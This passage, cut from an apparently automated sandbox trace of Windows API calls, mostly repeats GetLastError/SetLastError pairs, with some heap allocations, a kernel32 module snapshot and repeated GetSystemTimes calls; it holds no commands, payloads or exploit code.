(dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.825] SetLastError (dwErrCode=0x0) [0055.825] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.826] SetLastError (dwErrCode=0x0) [0055.826] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.827] SetLastError (dwErrCode=0x0) [0055.827] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.828] GetLastError () returned 0x0 [0055.828] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.829] GetLastError () returned 0x0 [0055.829] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x0, Size=0x74) returned 0x1d71990 [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.830] SetLastError (dwErrCode=0x0) [0055.830] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.831] GetLastError () returned 0x0 [0055.831] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.832] SetLastError (dwErrCode=0x0) [0055.832] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.833] SetLastError (dwErrCode=0x0) [0055.833] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.834] SetLastError (dwErrCode=0x0) [0055.834] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.835] GetLastError () returned 0x0 [0055.835] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.836] GetLastError () returned 0x0 [0055.836] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.837] GetLastError () returned 0x0 [0055.837] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] GetLastError () returned 0x0 [0055.838] SetLastError (dwErrCode=0x0) [0055.838] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x98) returned 0x1d71a10 [0055.838] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x1f) returned 0x1d71ab0 [0055.838] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x36) returned 0x1d71ad8 [0055.838] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x37) returned 0x1d71b18 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x3c) returned 0x1d71b58 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x31) returned 0x1d71ba0 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x17) returned 0x1d71be0 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x24) returned 0x1d71c00 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x14) returned 0x1d71c30 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0xd) returned 0x1d71c50 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x25) returned 0x1d71c68 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x39) returned 0x1d71c98 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x18) returned 0x1d71ce0 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x17) returned 0x1d71d00 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0xe) returned 0x1d71d20 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x69) returned 0x1d71d38 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x3e) returned 0x1d71db0 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x1b) returned 0x1d71df8 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x1d) returned 0x1d71e20 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x48) returned 0x1d71e48 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x12) returned 0x1d71e98 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x18) returned 0x1d71eb8 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x1b) returned 0x1d71ed8 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x24) returned 0x1d71f00 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x29) returned 0x1d71f30 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x1e) returned 0x1d71f68 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x41) returned 0x1d71f90 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x17) returned 0x1d71fe8 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0xf) returned 0x1d72008 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x16) returned 0x1d72020 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2a) returned 0x1d72040 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x29) returned 0x1d72078 [0055.839] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x15) returned 0x1d720b0 [0055.840] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x1e) returned 0x1d720d0 [0055.840] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x2a) returned 0x1d720f8 [0055.840] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x12) returned 0x1d72130 [0055.840] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x18) returned 0x1d72150 [0055.840] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x46) returned 0x1d72170 [0055.840] HeapFree (in: hHeap=0x1d70000, dwFlags=0x0, lpMem=0x1d711f8 | out: hHeap=0x1d70000) returned 1 [0055.841] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x800) returned 0x1d721c0 [0055.841] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d711f8 [0055.841] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0055.841] RtlSizeHeap (HeapHandle=0x1d70000, Flags=0x0, MemoryPointer=0x1d711f8) returned 0x80 [0055.841] GetLastError () returned 0x0 [0055.841] SetLastError (dwErrCode=0x0) [0055.841] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.842] GetLastError () returned 0x0 [0055.842] SetLastError (dwErrCode=0x0) [0055.843] GetLastError () returned 0x0 [0055.843] SetLastError (dwErrCode=0x0) [0055.843] GetLastError () returned 0x0 [0055.843] SetLastError (dwErrCode=0x0) [0055.843] GetLastError () returned 0x0 [0055.843] SetLastError (dwErrCode=0x0) [0055.843] GetLastError () returned 0x0 [0055.843] SetLastError (dwErrCode=0x0) [0055.843] GetLastError () returned 0x0 [0055.843] SetLastError (dwErrCode=0x0) [0055.843] GetLastError () returned 0x0 [0055.843] SetLastError (dwErrCode=0x0) [0055.843] GetLastError () returned 0x0 [0055.843] SetLastError (dwErrCode=0x0) [0055.843] GetLastError () returned 0x0 [0055.843] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.843] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0055.843] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0055.844] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0055.845] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0055.845] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0055.845] GetTickCount () returned 0x1147446 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.846] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.846] GetACP () returned 0x4e4 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.846] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.846] GetACP () returned 0x4e4 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.846] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.846] GetACP () returned 0x4e4 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.846] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.846] GetACP () returned 0x4e4 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.846] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.846] GetACP () returned 0x4e4 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.846] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.846] GetACP () returned 0x4e4 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.846] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.846] GetACP () returned 0x4e4 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.846] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.846] GetACP () returned 0x4e4 [0055.846] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.847] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.847] GetACP () returned 0x4e4 [0055.847] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, 